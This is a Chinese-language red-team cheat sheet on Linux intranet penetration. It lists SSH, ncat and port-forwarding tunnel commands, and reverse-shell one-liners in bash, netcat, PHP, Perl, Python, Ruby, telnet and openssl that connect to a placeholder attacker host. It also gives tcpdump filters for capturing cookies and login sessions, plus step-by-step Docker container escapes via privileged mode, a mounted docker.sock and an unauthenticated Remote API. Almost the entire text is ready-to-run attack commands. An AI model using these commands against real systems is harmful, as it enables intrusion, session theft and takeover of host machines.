红蓝对抗之Linux内网渗透
隧道
Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。
SSH
Linux使用SSH常用的开启隧道的命令。
场景1:在控制A机器时,利用socks代理进入A机器所在内网
ssh -qTfnN -D 1111 root@1.1.1.1
输入A机器的密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。
场景2:如果控制A、B机器,A能访问B,且能出网,B能访问C,但不能出网,A不能访问C
在A机器上执行:
ssh -CNfg -L 2121:CIP:21 root@BIP
输入BIP机器的密码,访问A的2121端口即是访问CIP的21端口。
场景3:控制A机器,A能访问B
A机器执行:
ssh -CNfg -R 2121:BIP:21 root@hackervps
输入vps的密码,访问vps的2121端口即是访问BIP的21端口。
nc/ncat
服务端执行监听命令:
ncat --sh-exec "ncat 127.0.0.1 22" -l 80 --keep-open
客户端连接服务器端的80端口即可SSH连接
ssh root@serverip -p 80
portmap
服务端执行:
portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22
客户端连接服务端的80端口即可SSH连接:
SSH root@serverip -p 80
portfw
服务端执行:
tcpfwd 0.0.0.0:443 127.0.0.1:22
客户端连接服务端的443端口即可SSH连接:
ssh root@serverip -p 443
反弹shell
bash
bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'
netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc yourip yourport >/tmp/f
php
php -r '$sock=fsockopen(getenv("yourip"),getenv("yourport"));exec("/bin/sh -i <&3 >&3 2>&3");'
perl
perl -e 'use Socket;$i="$ENV{yourip}";$p=$ENV{yourport};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python
python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("yourip"),int(os.getenv("yourport")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")'
ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["yourip"],ENV["yourport"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
telnet
TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF
openssl 加密
服务端生成证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
服务端监听:
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
受控端执行:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect yourip:yourport > /tmp/s; rm /tmp/s
完全交互式shell
attack端执行:
stty -echo raw; nc -lp 1337; stty sane
victim端执行:
nc -c '/bin/bash -c "script /dev/null"' yourip 1337
tcpdump
tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户的登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点。
下面是抓取http数据包的命令示例:
tcpdump -i eth1 -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
docker
判断是否是docker环境
- 进程数很少,比如少于10条
- 常见的命令没有,比如没有wget
- 存在/.dockerenv文件
- /proc/1/cgroup内包含“docker”字符串
逃逸
逃逸是指我们在容器中逃逸到宿主机中。
特权容器
当容器是以特权启动时,docker将允许容器访问宿主机上的所有设备。
如下容器是进行特权启动(docker run —privileged)的,我们可以把宿主机磁盘挂载进容器里,然后进行相关的逃逸操作,包括不限于更改计划任务、文件。
fdisk -l|grep /dev/vda1
mkdir /test
mount /dev/vda1 /test
chroot /test
Docker Socket
/var/run/docker.sock文件是Docker守护进程默认监听的Unix域套接字,容器中的进程可以通过该文件与docker守护进程进行通信。
当攻击者可控的容器内挂载了该文件,我们也可以对其进行逃逸。
首先我们用如下命令创建一个特权测试容器:
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock d6e46aa2470d
比如我们控制了上述容器,并发现其挂载了docker.sock
那么我们可以利用/var/run/docker.sock创建特权容器(附录5):
docker -H unix:///var/run/docker.sock pull alpine:latest
docker -H unix:///var/run/docker.sock run -d -it --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
docker -H unix:///var/run/docker.sock start rshell
docker -H unix:///var/run/docker.sock exec -it rshell /bin/sh
未授权访问
当默认端口为2375的Docker Remote API对外未授权开放时,攻击者可以利用该漏洞进行getshell。
未授权测试过程:
获取所有images列表:
curl http://host:2375/containers/json
获取运行中的容器:
docker -H tcp://host:2375 ps
getshell过程:
获取镜像:
docker -H tcp://host:2375 images
根据镜像创建容器,把宿主机根目录挂载到容器中:
docker -H tcp://host:2375 run -it -v /:/mnt/ image_id /bin/bash
创建容器后没自动进入容器的话,可以利用ps查看创建容器的CONTAINER ID:
docker -H tcp://host:2375 ps
然后进入容器:
docker -H tcp://host:2375 exec -it CONTAINERID sh
进入到挂载进来的磁盘中,并切换根目录,则可以看到宿主机进程:
chroot /mnt sh
因为挂载把宿主机根目录挂载到了容器中的/mnt目录中,就再次回到了上述逃逸的攻击手段了,其他就不再赘述。